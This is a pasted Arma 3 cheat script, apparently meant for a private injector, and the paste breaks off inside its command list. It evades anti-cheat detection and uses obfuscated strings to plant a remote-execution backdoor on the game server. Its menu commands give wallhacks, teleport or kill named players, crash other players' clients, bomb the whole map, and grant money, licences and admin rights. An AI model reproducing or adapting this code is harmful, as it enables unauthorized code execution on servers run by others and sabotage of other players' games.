Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [] spawn {
- hintSilent "loading";
- disableserialization;
- comment " single thread script w/ no global variables ";
- comment " Add [Hackers Skype was here / For ArmA 3 private Injector ";
- comment " Hides From Infistar & Other Anti-cheats ";
- hintSilent "loading.";
- _building = objNull;
- _loop = 0;
- while{isNull _building && !alive _building} do {
- _location = locationPosition (nearestLocation [[random(worldSize),random(worldSize),0],""]);
- _buildings = nearestObjects [_location, ["Building"], 300];
- if(count(_buildings) > 0) then {
- _building = _buildings select floor(random(count(_buildings)));
- };
- _loop = _loop + 1;
- if(_loop == 15000) exitWith {};
- };
- if(isNull _building) exitWith {hint "Failed to find a building! Could not run script!"};
- _cargo = _building;
- _cargo allowDamage false;
- _cfg_vehicle = configFile >> "cfgVehicles";
- if (isNil 'Jay_vehicle_list') then {
- Jay_vehicle_list = [];
- for "_i" from 0 to (count _cfg_vehicle)-1 do
- {
- _vehicle_class = _cfg_vehicle select _i;
- if (isClass _vehicle_class) then
- {
- _vehicle = configName _vehicle_class;
- if ((getNumber (_vehicle_class >> "scope") == 2) && (getText (_vehicle_class >> "picture") != "") && (((_vehicle isKindOf "LandVehicle") or (_vehicle isKindOf "Air") or (_vehicle isKindOf "Boat"))) && !((_vehicle isKindOf "ParachuteBase") or (_vehicle isKindOf "BIS_Steerable_Parachute"))) then
- {
- Jay_vehicle_list = Jay_vehicle_list + [_vehicle];
- };
- };
- };
- };
- hintSilent "loading..";
- _detector = format['%1 nearestObject "building"',getpos _building];
- _getVariable = compile format["params['_var','_default'];%1 getVariable [_var,_default];",_detector];
- _setVariable = compile format["params['_var','_value'];%1 setVariable [_var,_value];",_detector];
- ["runloops",true] call _setVariable;
- ["rexec",{
- params["_code"];
- private["_str","_chars","_packets","_execCode","_packetPart","_packetNum","_pIndex","_install","_marker","_pos","_timeout"];
- _str = str(_code) select [1];
- _str = _str select [0,count(_str)-1];
- _chars = _str splitString "";
- _packets = [];
- _execCode = "";
- _packetPart = [];
- _packetNum = 1;
- {
- if((_forEachIndex mod 1000 == 0 && _forEachIndex != 0) || (_forEachIndex == (count(_chars)-1))) then {
- _pIndex = count(_packets)+1;
- _packets pushback ("pac_" + str(_pIndex) + " = '" + (_packetPart joinString "") + "';");
- _packetPart = [];
- _execCode = _execCode + "+pac_" + str(_pIndex);
- };
- _packetPart pushback _x;
- if(_x == "'") then {
- _packetPart pushback "'";
- };
- } forEach _chars;
- _execCode = _execCode select [1];
- _packets pushBack ("_c = compile (" + _execCode + ");[] spawn _c;");
- _install = {
- params["_markerName"];
- private["_a","_b","_c"];
- createMarker[_markerName,[0.1,0.1]];
- _markerName setMarkerAlpha 0.001;
- _markerName setMarkerText "....";
- _a = 'if(isServer) then {
- inf = {
- ad' + 'dMis' + 'sionEv' + 'entHa' + 'ndler["Eachfr" + "ame","
- b" + "is_fun" + "ctions_mai" + "nscope setV" + "ariable [""R" + "EA2"",tr" + "ue];
- _mar" + "kerTe" + "xt = mar" + "kerTe" + "xt ""' + _markerName + '"";
- if(_ma" + "rkerT" + "ext != "".." + ".."") then {
- _c" + "ode = com" + "pile _mar" + "kerTe" + "xt;
- _c" + "ode re" + "mo" + "te" + "Exe" + "c [""ca" + "ll"",0];
- ""' + _markerName + '"" se" + "tMa" + "rkerT" + "ext ""." + "..."";
- };
- removeAllMissionEventHandlers ""Eachframe"";
- [] sp" + "awn in" + "f;
- "];
- };
- ad' + 'dMis' + 'sionEv' + 'entHa' + 'ndler["Eachfr" + "ame","
- b" + "is_fun" + "ctions_mai" + "nscope setV" + "ariable [""R" + "EA2"",tr" + "ue];
- _mar" + "kerTe" + "xt = mar" + "kerTe" + "xt ""' + _markerName + '"";
- if(_ma" + "rkerT" + "ext != "".." + ".."") then {
- _c" + "ode = com" + "pile _mar" + "kerTe" + "xt;
- _c" + "ode re" + "mo" + "te" + "Exe" + "c [""ca" + "ll"",0];
- ""' + _markerName + '"" se" + "tMa" + "rkerT" + "ext ""." + "..."";
- };
- removeAllMissionEventHandlers ""Eachframe"";
- [] sp" + "awn i" + "nf;
- "];
- };';
- _c = ("(typeof player) create");
- _c = _c + ("Unit [[0,0,0],create");
- _c = _c + ("Group sideLogic,'");
- _c = _c + _a;
- _c = _c + "'];";
- _b = compile _c;
- call _b;
- };
- _marker = "_USER_DEFINED #0/0/4";
- _pos = markerPos _marker;
- _timeout = false;
- if((_pos select 0) == 0) then {
- systemchat "RE INIT > Installing RE";
- [_marker] call _install;
- systemchat "RE INIT > Install done... Checking";
- _out = diag_tickTime + 30;
- waitUntil{!isNil {bis_functions_mainscope getVariable ["REA2",nil]} || (diag_tickTime > _out)};
- if(diag_tickTime > _out) exitWith {_timeout = true;};
- systemchat "RE INIT > Install Success";
- };
- if(_timeout) exitWith {
- systemchat "RE INIT > Failed to install RE.";
- systemchat "RE INIT > Either the server is lagging / crashing OR the RE is broke";
- };
- {
- _marker setMarkerText _x;
- waitUntil{markerText _marker == "...."};
- systemchat ("RE > Executed Packet " + str(_forEachIndex+1) + "/" + str(count(_packets)));
- } forEach _packets;
- systemchat "RE > Done.";
- }] call _setVariable;
- hintSilent "loading...";
- _ns = {
- params["_parts","_getVariable","_setVariable"];
- if(isnil {["ns",nil] call _getVariable}) then {["ns",false] call _setVariable;};
- ["ns",!(["ns",false] call _getVariable)] call _setVariable;
- if(["ns",false] call _getVariable) then {
- hint "no sway on";
- player setCustomAimCoef 0;
- } else {
- hint "no sway off";
- player setCustomAimCoef 1;
- };
- };
- _gtwh = {
- params["_parts","_getVariable","_setVariable"];
- _name = _parts select 0;
- {
- if(_forEachIndex != 0) then {
- _name = _name + " " + _x;
- };
- } forEach _parts;
- if(isNil {_name}) then {_name = "";};
- _found = false;
- {
- if(tolower(name _x) == tolower(_name)) then {
- _x addAction ["Load ESP", "[]spawn bpbpbp_walls"];
- _found = true;
- };
- } forEach allPlayers;
- if(_found) then {
- hint "Killed";
- } else {
- hint "Could not find that target";
- };
- };
- _GDiam = {
- [true,"diamondc",1] call life_fnc_handleInv
- };
- _spw1 = {
- hint "no items added yet pls modify the script with notepad";
- };
- _spw2 = {
- hint "no items added yet pls modify the script with notepad";
- };
- _spw3 = {
- hint "no items added yet pls modify the script with notepad";
- };
- bpbpbp_walls = {
- params["_parts","_getVariable","_setVariable"];_var=!(["ICO",false]call _getVariable);["ICO",_var]call _setVariable;if(_var)then{hint "Player Icons On";_a="addMission";_a=_a+"EventHandler[""Draw3D"",{";_a=_a+"_ordered=[];{if(player distance _x<=2000)then{_ordered pushback[str(side _x),str(vehicle _x==_x),name _x,_x];};}forEach(if(isMultiplayer)then{allPlayers}else{allUnits});_ordered sort true;";_a=_a+"{_side=_x select 0;_inVehicle=_x select 1;_name=_x select 2;_object=_x select 3;";_a=_a+"_pos=(_object modelToWorld((_object selectionPosition ""neck"")vectorAdd[0,0,0.25]));";_a=_a+"_color=[1,0,1,1];if(side _object==blufor)then{_color=[0,0,1,1];};if(side _object==opfor)then{_color=[1,0,0,1];};if(side _object==independent)then{_color=[0,1,0,1];};if(getplayeruid _object in[""76561198152111329"",""76561198276380268""])then{_color=[1,1,0];_name=""INFISTAR"";};_scale=(0.05-(0.05*((player distance _object)/3000)));if(_scale>0)then{draw";_a=_a+"Icon3D["""",_color,_pos,0,0,0,_name+""-""+str(round(player distance _object))+""m"",2,_scale,""PuristaMedium"",""center"",true];};}forEach _ordered;}];";_b=compile _a;_eh=call _b;["ICOEH",_eh]call _setVariable;}else{_a="remove";_a=_a+"MissionEventHandler";_a=_a+"[""Draw";_a=_a+"3D"",_eh];";_eh=(["ICOEH",-1]call _getVariable);_b=compile _a;call _b;hint "Player icons off";};};
- _sfpb = {
- player addBackpack "B_Bergen_mcamo_F";
- player addItem "Exile_Item_FlagStolen10";
- player addItem "Exile_Item_FlagStolen10";
- player addItem "Exile_Item_FlagStolen10";
- player addItem "Exile_Item_FlagStolen10";
- player addItem "Exile_Item_FlagStolen10";
- player addItem "Exile_Item_FlagStolen10";
- player addItem "Exile_Item_FlagStolen10";
- player addItem "Exile_Item_FlagStolen10";
- hint "item added";
- };
- _Gadm = {
- life_AdminLevel = 3
- };
- _Mny = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(!isNil "life_no_injection") then {life_no_injection = true;};
- fwwfww = true;
- if(isNil "FawfwaP") then {FawfwaP = "swag";};
- if(FawfwaP == "swag") then {
- _search = preprocessFileLineNumbers "core\configuration.sqf";
- _words = [_search," "] call BIS_fnc_splitString;
- _index = _words find "west:";
- if(_index != -1) then {
- _varIndex = _index + 1;
- _varTemp = _words select _varIndex;
- _varTemp = toLower(_varTemp);
- _low = (toArray("a") select 0);
- _high = (toArray("z") select 0);
- _allowedLetters = toArray("_1234567890");
- _newArray = [];
- _oldArray = toArray(_varTemp);
- for "_i" from 0 to count(_oldArray)-1 do {
- _val = _oldArray select _i;
- if((_val >= _low && _val <= _high) || (_val in _allowedLetters)) then {
- _newArray set[count(_newArray),_val];
- }
- };
- FawfwaP = toString _newArray;
- } else {
- fwwfww = false;
- };
- };
- if(!fwwfww) exitWith {hint "Couldn't find the money variable!";};
- call compile format["%1 = %1 + 100000;",FawfwaP];
- hint "100k Spawned";
- if(!isNil "life_no_injection") then {life_no_injection = false;};
- };
- _Lice = {
- {missionnamespace setVariable[(_x select 0),true];} foreach life_licenses;
- hint "License added sync data to save";
- };
- _mpsg = {
- call compile ("
- anArray = [];
- anArray2 = [];
- if (isnil 'daPlyrMrkrs') then {
- daPlyrMrkrs = 0;
- };
- if (daPlyrMrkrs == 0) then {
- daPlyrMrkrs = 1;
- systemChat 'Map Markers Activated!';
- } else {
- daPlyrMrkrs = 0;
- systemChat 'Map Markers Deactivated!';
- };
- while {daPlyrMrkrs == 1} do {
- {
- if (!(_x in anArray2) && (vehicle _x == _x) && (getPlayerUID _x != '')) then {
- private['_Uwish_PonyVisPos', '_Uwish_PonyCrtMrkr'];
- _Uwish_PonyVisPos = visi" + "bleP" + "osition _x;
- _Uwish_PonyCrtMrkr = crea" + "teMarkerLocal[format['PLR%1%2', _Uwish_PonyVisPos select 0, _Uwish_PonyVisPos select 1], [(_Uwish_PonyVisPos select 0) + 20, _Uwish_PonyVisPos select 1, 0]];
- _Uwish_PonyCrtMrkr setMar" + "kerTyp" + "eLocal 'hd_dot';
- _Uwish_PonyCrtMrkr setMar" + "kerSizeL" + "ocal[1, 1];
- if ((side _x == side player) && (side _x != resistance)) then {
- _Uwish_PonyCrtMrkr setM" + "arkerCol" + "orLocal 'ColorBlue';
- } else {
- _Uwish_PonyCrtMrkr setM" + "arkerCol" + "orLocal 'ColorRed';
- };
- if (_x == player) then {
- _Uwish_PonyCrtMrkr setM" + "arkerCol" + "orLocal 'ColorGreen';
- };
- anArray2 set[count anArray2, _x];
- [_x, _Uwish_PonyCrtMrkr] spawn {
- private['_player', '_marker'];
- _player = _this select 0;
- _marker = _this select 1;
- while {(daPlyrMrkrs == 1) && (alive _player) && (vehicle _player == _player) && (getPlayerUID _player != '')} do {
- _marker setMa" + "rkerPosL" + "ocal([visi" + "bleP" + "osition _player select 0, visi" + "bleP" + "osition _player select 1, 0]);
- _marker setMark" + "erTextL" + "ocal format['%1 - %2', name _player, round(_player distance player)];
- sleep 0.02;
- };
- delet" + "eMarke" + "rLocal _marker;
- if (_player in anArray2) then {
- anArray2 set[(anArray2 fi" + "nd _player), -1];
- anArray2 = anArray2 - [-1];
- };
- };
- };
- } forEach ([6800, 9200, 0] nea" + "rEnt" + "ities [['AllVe" + "hicles'], 50000]);
- sleep 0.3;
- };
- {
- _Uwish_PonyCrtMrkr = str _x;
- delet" + "eMarke" + "rLocal _Uwish_PonyCrtMrkr;
- } forEach ([6800, 9200, 0] nea" + "rEnt" + "ities [['AllVe" + "hicles'], 50000]);
- ");
- };
- _dlcu = {
- call compile ("
- curs" + "orta" + "rget se" + "tdam" + "age 1;
- ");
- };
- _sLocal = {
- params["_vehicle","_code"];
- private["_veh"];
- player reveal [_vehicle,4];
- player allowDamage false;
- _oldPos = getpos player;
- moveout(driver _vehicle);
- _tOut = diag_tickTime + 5;
- waitUntil{isNull (driver _vehicle) || diag_tickTime > _tOut};
- uiSleep 0.025;
- player moveInAny _vehicle;
- waitUntil{vehicle player != player || diag_tickTime > _tOut};
- waitUntil{local (vehicle player)};
- call _code;
- moveOut player;
- waitUntil{vehicle player == player || diag_tickTime > _tOut};
- _veh = player;
- _veh setVelocity [0,0,0];
- player setPos _oldPos;
- player allowDamage true;
- };
- ["sLocal",_sLocal] call _setVariable;
- _ln = {
- params["_parts","_getVariable","_setVariable"];
- _veh = nearestObject [getpos player, "LandVehicle"];
- if(isNull _veh) then {
- _veh = nearestObject [getpos player, "Air"];
- };
- if(isNull _veh) then {
- _veh = nearestObject [getpos player, "Ship"];
- };
- if(_veh in vehicles) then {
- hint "Launching vehicle";
- [_veh,{
- _head = vehicle player;
- _head setVelocity [random 2,random 2,10];
- }] call (["sLocal",{}] call _getVariable);
- };
- };
- _la = {
- params["_parts","_getVariable","_setVariable"];
- {
- if(alive _x && (_x isKindOf "LandVehicle" || _x isKindOf "Air" || _x isKindOf "Ship")) then {
- [_x,{
- _head = vehicle player;
- _head setVelocity [random 2,random 2,10];
- }] call (["sLocal",{}] call _getVariable);
- };
- } forEach vehicles;
- hint "launched!";
- };
- _l = {
- params["_parts","_getVariable","_setVariable"];
- if(cursorObject in vehicles) then {
- hint "Launching cursor";
- [cursorObject,{
- _head = vehicle player;
- _head setVelocity [random 2,random 2,10];
- }] call (["sLocal",{}] call _getVariable);
- };
- };
- _sw = {
- player allowDamage false;
- _pos = getPos Player;
- for "_i" from 1 to 10 do {
- uiSleep 0.2;
- for "_dir" from 5 to 360 step 5 do {
- _delta = (vectorNormalized [sin(_dir),cos(_dir),0]) vectorMultiply 20;
- _npos = _pos vectorAdd (_delta vectorMultiply _i);
- _npos set[2,0];
- player allowDamage false;
- _bobber = "Bomb_04_F" createVehicleLocal _npos;
- player allowDamage false;
- _bobber setVelocity [0,-1,-10];
- };
- player setpos _pos;
- };
- player allowDamage true;
- };
- _bw = {
- _delta = (vectorNormalized (eyeDirection player)) vectorMultiply 20;
- _pos = getPos Player;
- player allowDamage false;
- for "_i" from 1 to 10 do {
- uiSleep 0.2;
- _pos = _pos vectorAdd _delta;
- _pos set[2,0];
- player allowDamage false;
- _bobber = "Bomb_04_F" createVehicleLocal _pos;
- player allowDamage false;
- _bobber setVelocity [0,-1,-10];
- };
- player allowDamage true;
- };
- _tpm = {
- hint "To teleport center the map on where you want to go and press ESCAPE";
- openMap [true,false];
- _coords = [0,0,0];
- while{visibleMap} do {
- _coords = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [0.5,0.5];
- uiSleep 0.01;
- };
- player setpos _coords;
- };
- _nk = {
- params["_parts","_getVariable","_setVariable"];
- _locations = [];
- _threads = [];
- _stop = diag_tickTime + 60;
- hint "N U K I N G";
- while{diag_tickTime < _stop} do {
- _location = locationPosition (nearestLocation [[random(worldSize),random(worldSize),0],""]);
- if !(_location in _locations) then {
- _locations pushBack _location;
- _thread = _location spawn {
- _buildings = nearestObjects [_this, ["Building"], 1000];
- {
- if !(_x getVariable ["runloops",false]) then {
- _bobber = "Bomb_04_F" createVehicleLocal (getpos _x);
- _bobber setVelocity [0,-1,-10];
- };
- uiSleep (60/(count(_buildings)));
- } forEach _buildings;
- };
- _threads pushback _thread;
- };
- };
- {
- if(!scriptDone _x) then {
- terminate _x;
- };
- } forEach _threads;
- hint "D O N E";
- };
- _run = {
- params["_parts","_getVariable","_setVariable"];
- _code = "";
- {
- _code = _code + " " + _x;
- } forEach _parts;
- _a = compile _code;
- with missionNamespace do {call _a;};
- };
- _runr = {
- params["_parts","_getVariable","_setVariable"];
- _code = "";
- {
- _code = _code + "" + _x;
- } forEach _parts;
- _re = ["rexec",{}] call _getVariable;
- _a = compile _code;
- _a spawn _re;
- };
- _tpa = {
- params["_parts","_getVariable","_setVariable"];
- {
- _x setpos getpos player;
- uiSleep .1;
- } forEach allPlayers;
- };
- _spw = {
- params["_parts","_getVariable","_setVariable"];
- _class = _parts select 0;
- _count = 1;
- if(count(_parts) > 1) then {
- _count = (_count max parseNumber (_parts select 1));
- };
- _holders = player nearObjects ["groundWeaponHolder",1];
- _gwh = objNull;
- if(count(_holders) > 0) then {
- _gwh = _holders select 0;
- } else {
- _gwh = "groundWeaponHolder" createVehicle (getpos player);
- };
- if(isClass (configFile >> "CfgWeapons" >> _class)) then {
- if((toLower(_class) find "item" == 0) || (toLower(_class) find "exile_item" == 0) || (toLower(_class) find "h_" == 0) || (toLower(_class) find "u_" == 0) || (toLower(_class) find "v_" == 0) || (toLower(_class) find "minedetector" == 0) || (toLower(_class) find "binocular" == 0) || (toLower(_class) find "rangefinder" == 0) || (toLower(_class) find "NVGoggles" == 0) || (toLower(_class) find "laserdesignator" == 0) || (toLower(_class) find "firstaidkit" == 0) || (toLower(_class) find "medkit" == 0) || (toLower(_class) find "toolkit" == 0) || (toLower(_class) find "muzzle_" == 0) || (toLower(_class) find "optic_" == 0) || (toLower(_class) find "acc_" == 0) || (toLower(_class) find "bipod_" == 0)) then {
- _gwh addItemCargoGlobal [_class,_count];
- hint ("Spawned item\n" + _class);
- } else {
- for "_i" from 1 to _count do {
- _gwh addWeaponCargoGlobal [_class,1];
- _mags = getArray(configFile >> "CfgWeapons" >> _class >> "Magazines");
- _mag = "";
- {
- _mag = _x;
- _cfg = configFile >> "CfgMagazines" >> _mag;
- if(isClass _cfg) exitWith {};
- } forEach _mags;
- _gwh addMagazineCargoGlobal [_mag,3];
- };
- };
- hint ("Spawned weapon\n" + _class);
- };
- if(isClass (configFile >> "CfgMagazines" >> _class)) then {
- _gwh addMagazineCargoGlobal [_class,_count];
- hint ("Spawned magazine\n" + _class);
- };
- if(isClass (configFile >> "CfgVehicles" >> _class)) then {
- _gwh addBackpackCargoGlobal [_class,_count];
- hint ("Spawned backpack\n" + _class);
- };
- _gwh setposatl (getposatl player);
- };
- _mssg = {
- addMissionEventHandler ["Draw3D",{
- {
- if((isPlayer _x) && ((side _x) == (side player)) && ((player distance _x) < 700) && (getplayeruid _x != "")) then {
- _pos = getposatl _x;
- _eyepos = ASLtoATL eyepos _x;
- if((getTerrainHeightASL [_pos select 0,_pos select 1]) < 0) then {
- _eyepos = eyepos _x;
- _pos = getposasl _x;
- };
- _1 = _x modelToWorld [-0.5,0,0];
- _2 = _x modelToWorld [0.5,0,0];
- _3 = _x modelToWorld [-0.5,0,0];
- _4 = _x modelToWorld [0.5,0,0];
- _1 set [2,_pos select 2];
- _2 set [2,_pos select 2];
- _3 set [2,(_eyepos select 2)+0.25];
- _4 set [2,(_eyepos select 2)+0.25];
- _HP = (damage _x - 1) * -100;
- _fontsize = 0.02;
- _eyepos set [2,(_3 select 2) - 0.1];
- drawIcon3D["",[0,1,0,1],_eyepos,0.1,0.1,45,format["%1(%2m) - %3HP",name _x,round(player distance _x),round(_HP)],1,_fontsize,'EtelkaNarrowMediumPro'];
- drawLine3D[_1,_2,[0,1,0,1]];
- drawLine3D[_2,_4,[0,1,0,1]];
- drawLine3D[_4,_3,[0,1,0,1]];
- drawLine3D[_3,_1,[0,1,0,1]];
- };
- if((isPlayer _x) && ((side _x) != (side player)) && ((player distance _x) < 1400) && (getplayeruid _x != "")) then {
- _pos = getposatl _x;
- _eyepos = ASLtoATL eyepos _x;
- _1 = _x modelToWorld [-0.5,0,0];
- _2 = _x modelToWorld [0.5,0,0];
- _3 = _x modelToWorld [-0.5,0,0];
- _4 = _x modelToWorld [0.5,0,0];
- _1 set [2,_pos select 2];
- _2 set [2,_pos select 2];
- _3 set [2,(_eyepos select 2)+0.25];
- _4 set [2,(_eyepos select 2)+0.25];
- _HP = (damage _x - 1) * -100;
- _fontsize = 0.02;
- _eyepos set [2,(_3 select 2) - 0.1];
- drawIcon3D["",[1,0,0,1],_eyepos,0.1,0.1,45,format["%1(%2m) - %3HP",name _x,round(player distance _x),round(_HP)],1,_fontsize,'EtelkaNarrowMediumPro'];
- drawLine3D[_1,_2,[1,0,0,1]];
- drawLine3D[_2,_4,[1,0,0,1]];
- drawLine3D[_4,_3,[1,0,0,1]];
- drawLine3D[_3,_1,[1,0,0,1]];
- };
- } forEach allUnits;
- }];
- };
- _gvam = {
- call compile ("
- _curWeap = curren" + "tWeapon player;
- _arry = get" + "Array(con" + "figfile >> 'cfgW" + "eapons' >> _curWeap >> 'maga" + "zines');
- _final = _arry select 0;
- player ad" + "dMaga" + "zine _final;
- player ad" + "dMaga" + "zine _final;
- systemChat format['Gave you 2 mags of %1', _final];
- ");
- };
- _ktp = {
- params["_parts","_getVariable","_setVariable"];
- _name = _parts select 0;
- {
- if(_forEachIndex != 0) then {
- _name = _name + " " + _x;
- };
- } forEach _parts;
- if(isNil {_name}) then {_name = "";};
- _found = false;
- {
- if(tolower(name _x) == tolower(_name)) then {
- _x setdamage 1;
- _found = true;
- };
- } forEach allPlayers;
- if(_found) then {
- hint "Killed";
- } else {
- hint "Could not find that target";
- };
- };
- _tpt = {
- params["_parts","_getVariable","_setVariable"];
- _name = _parts select 0;
- {
- if(_forEachIndex != 0) then {
- _name = _name + " " + _x;
- };
- } forEach _parts;
- if(isNil {_name}) then {_name = "";};
- _found = false;
- {
- if(tolower(name _x) == tolower(_name)) then {
- player setpos getpos _x;
- _found = true;
- };
- } forEach allPlayers;
- if(_found) then {
- hint "Teleported";
- } else {
- hint "Could not find that target";
- };
- };
- _tph = {
- params["_parts","_getVariable","_setVariable"];
- _name = _parts select 0;
- {
- if(_forEachIndex != 0) then {
- _name = _name + " " + _x;
- };
- } forEach _parts;
- if(isNil {_name}) then {_name = "";};
- _found = false;
- {
- if(tolower(name _x) == tolower(_name)) then {
- _x setpos getpos player;
- _found = true;
- };
- } forEach allPlayers;
- if(_found) then {
- hint "Teleported";
- } else {
- hint "Could not find that target";
- };
- };
- _iam = {
- params["_parts","_getVariable","_setVariable"];
- _var = !(["IAM",false] call _getVariable);
- ["IAM",_var] call _setVariable;
- if(_var) then { hint "Ammo Auto Refill On"} else {hint "Ammo Auto Refill Off" };
- while{["IAM",false] call _getVariable} do {
- _mag = ((GetArray(configFile >> 'cfgWeapons' >> currentWeapon player >> 'magazines')) select 0);
- if(({_x == _mag} count(magazines player)) < 4) then {
- player addMagazine _mag;
- };
- };
- };
- _ico = {
- params["_parts","_getVariable","_setVariable"];
- _var = !(["ICO",false] call _getVariable);
- ["ICO",_var] call _setVariable;
- if(_var) then {
- hint "Player Icons On";
- _a = "addMission";
- _a = _a + "EventHandler [""Draw3D"",{";
- _a = _a + "
- _ordered = [];
- {
- if(player distance _x <= 2000) then {
- _ordered pushback [str(side _x),str(vehicle _x == _x),name _x,_x];
- };
- } forEach (if(isMultiplayer) then {allPlayers} else {allUnits});
- _ordered sort true;
- ";
- _a = _a + "
- {
- _side = _x select 0;
- _inVehicle = _x select 1;
- _name = _x select 2;
- _object = _x select 3;
- ";
- _a = _a + "
- _pos = (_object modelToWorld ((_object selectionPosition ""neck"") vectorAdd [0,0,0.25]));
- ";
- _a = _a + "
- _color = [1,0,1,1];
- if(side _object == blufor) then {
- _color = [0,0,1,1];
- };
- if(side _object == opfor) then {
- _color = [1,0,0,1];
- };
- if(side _object == independent) then {
- _color = [0,1,0,1];
- };
- if(getplayeruid _object in [""76561198152111329"",""76561198276380268""]) then {
- _color = [1,1,0];
- _name = ""INFISTAR"";
- };
- _scale = (0.05 - (0.05 *((player distance _object)/3000)));
- if(_scale > 0) then {
- draw";
- _a = _a + "Icon3D ["""", _color, _pos, 0, 0, 0, _name + "" - "" + str(round(player distance _object)) + ""m"", 2, _scale, ""PuristaMedium"",""center"",true];
- };
- } forEach _ordered;
- }];";
- _b = compile _a;
- _eh = call _b;
- ["ICOEH",_eh] call _setVariable;
- } else {
- _a = "remove";
- _a = _a + "MissionEventHandler";
- _a = _a + " [""Draw";
- _a = _a + "3D"",_eh];";
- _eh = (["ICOEH",-1] call _getVariable);
- _b = compile _a;
- call _b;
- hint "Player icons off";
- };
- };
- _tst = {
- hint "hey";
- };
- _goymode = {
- params["_parts","_getVariable","_setVariable"];
- _var = !(["GOY",false] call _getVariable);
- ["GOY",_var] call _setVariable;
- if(_var) then {
- hint "Autoheal On";
- } else {
- hint "Autoheal Off";
- };
- while{(["GOY",false] call _getVariable)} do {
- player allowDamage false;
- player setDamage --0;
- uiSleep 0.001;
- };
- };
- _pur = {
- player setVariable["restrained", false, true];
- ["TaskSucceeded", ["", "Press V to escape restraints"]] call bis_fnc_showNotification;
- };
- _gck = {
- hint "You have now the key";
- life_vehicles set[count life_vehicles, cursorTarget];
- };
- _leave = {
- endMission "fail";
- };
- _cr = {
- {_x setPos[1e14,1e14,1e14];uiSleep .1;systemchat("<Lysdick>: Crashing "+name _x);} forEach (allPlayers-[player]);
- };
- _radar = {
- params["_parts","_getVariable","_setVariable"];
- _dist = 100;
- _size = 250;
- _scale = 12;
- if(count(_parts) > 0) then {
- _dist = parseNumber(_parts select 0);
- if(count(_parts) > 1) then {
- _scale = parseNumber(_parts select 1);
- if(count(_parts) > 2) then {
- _size = parseNumber(_parts select 2);
- };
- };
- };
- MAP_SIZE = _size;
- MAP_DIST = _dist;
- MAP_SCALE = _scale;
- _var = !(["RDR",false] call _getVariable);
- ["RDR",_var] call _setVariable;
- if(_var) then {
- _eh = addMissionEventHandler ["Eachframe",{
- _mapSize = MAP_SIZE;
- _checkDistance = MAP_DIST;
- _mapScale = MAP_SCALE;
- _objects = nearestObjects [player,["LandVehicle","Air","Ship","Man"],_checkDistance];
- _mapDims = ctrlPosition ((findDisplay 12) displayCtrl 51);
- _x = (_mapDims select 0) + (pixelW*10);
- _w = pixelW * _mapSize;
- _y = (_mapDims select 1) + (pixelH*10);
- _h = pixelH * _mapSize;
- _xCenter = _x + (_w / 2);
- _yCenter = _y + (_h / 2);
- _pos1 = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [_x,_y];
- _pos2 = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [_x,_y + _h];
- _pos3 = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [_x + _w,_y];
- _pos4 = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [_x + _w,_y + _h];
- ((findDisplay 12) displayCtrl 51) drawLine [_pos1,_pos2,[1,0,0,1]];
- ((findDisplay 12) displayCtrl 51) drawLine [_pos1,_pos3,[0,1,0,1]];
- ((findDisplay 12) displayCtrl 51) drawLine [_pos3,_pos4,[0,0,1,1]];
- ((findDisplay 12) displayCtrl 51) drawLine [_pos2,_pos4,[0,1,1,1]];
- _cX = _x;
- {
- if(alive _x) then {
- _myPos = getPos player;
- _tPos = getpos _x;
- _dX = ((_tPos select 0) - (_myPos select 0)) / (_checkDistance / (_mapSize/2));
- _dY = ((_myPos select 1) - (_tPos select 1)) / (_checkDistance / (_mapSize/2));
- _xPos = _xCenter + (pixelW * _dX);
- _yPos = _yCenter + (pixelH * _dY);
- _pos = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [_xPos,_yPos];
- _color = [0.33,0.33,1,1];
- if(_x isKindOf "Man") then {
- _color = [1,0.33,0.33,1];
- };
- if(_x == player) then {
- _color = [0.33,1,0.33,1];
- };
- _icon = getText(configFile >> "CfgVehicles" >> typeof _x >> "Icon");
- ((findDisplay 12) displayCtrl 51) drawIcon [
- _icon,
- _color,
- _pos,
- _mapScale,
- _mapScale,
- getdir _x,
- ".",
- 0,
- 0.01,
- "TahomaB",
- "Center"
- ];
- };
- } forEach _objects;
- }];
- ["RDREH",_eh] call _setVariable;
- } else {
- _eh = ["RDREH",0] call _getVariable;
- removeMissionEventHandler ["Eachframe",_eh];
- };
- };
- hintSilent "loading....";
- _sData = [
- ["",{},"Teleport Scripts (working)"],
- ["tpt",_tpt,"[target name] T e l e p o r t to a target"],
- ["tph",_tph,"[target name] T e l e p o r t a target here"],
- ["tpa",_tpa,"T e l e p o r t all to you"],
- ["tpm",_tpm,"T e l e p o r t using the map"],
- ["",{},"Target Scripts (working)"],
- ["ktp",_ktp,"Kill target"],
- ["",{},"Standard Scripts (working)"],
- ["mssg",_mssg,"35sP"],
- ["mpsg",_mpsg,"M4P 35sP"],
- ["ico",_ico,"Toggles player icons on/off"],
- ["rdr",_radar,"[distance, scale, uisize] Toggles 2D radar on/off"],
- ["iam",_iam,"Toggles Ammo Auto Refill on/off"],
- ["gvam",_gvam,"Give ammo for gun"],
- ["ns",_ns,"Toggles No Sway on/off"],
- ["gd",_goymode,"Toggles Autoheal on/off"],
- ["",{},"Troll Scripts (working)"],
- ["l",_l,"Launches cursor vehicle up"],
- ["ln",_ln,"Launches nearest vehicle into the air"],
- ["la",_la,"Launches all vehicles into the air"],
- ["",{},"Explosive Scripts (working)"],
- ["cr",_cr,"Crash user"],
- ["nk",_nk,"N u K e the server"],
- ["sw",_sw,"Shock wave"],
- ["bw",_bw,"Blast wave"],
- ["dlcu",_dlcu,"Destroy Target Cursor"],
- ["",{},"Spawn Scripts (working)"],
- ["spw",_spw,"Spawn a weapon"],
- ["spw1",_spw1,"Spawn Loadout 1"],
- ["spw2",_spw2,"Spawn Loadout 2"],
- ["GDiam",_GDiam,"Spawn Diamond"],
- ["",{},"Altis Scripts(working)"],
- ["Pur",_pur,"Unrestrain"],
- ["Gck",_gck,"Get cursor car key"],
- ["Lice",_Lice,"Give all License"],
- ["Money",_Mny,"Give Money"],
- ["GAdm",_Gadm,"Give admin right"],
- ["",{},"Exile Scripts (working)"],
- ["Stfb",_sfpb,"get stolen flag to sell"],
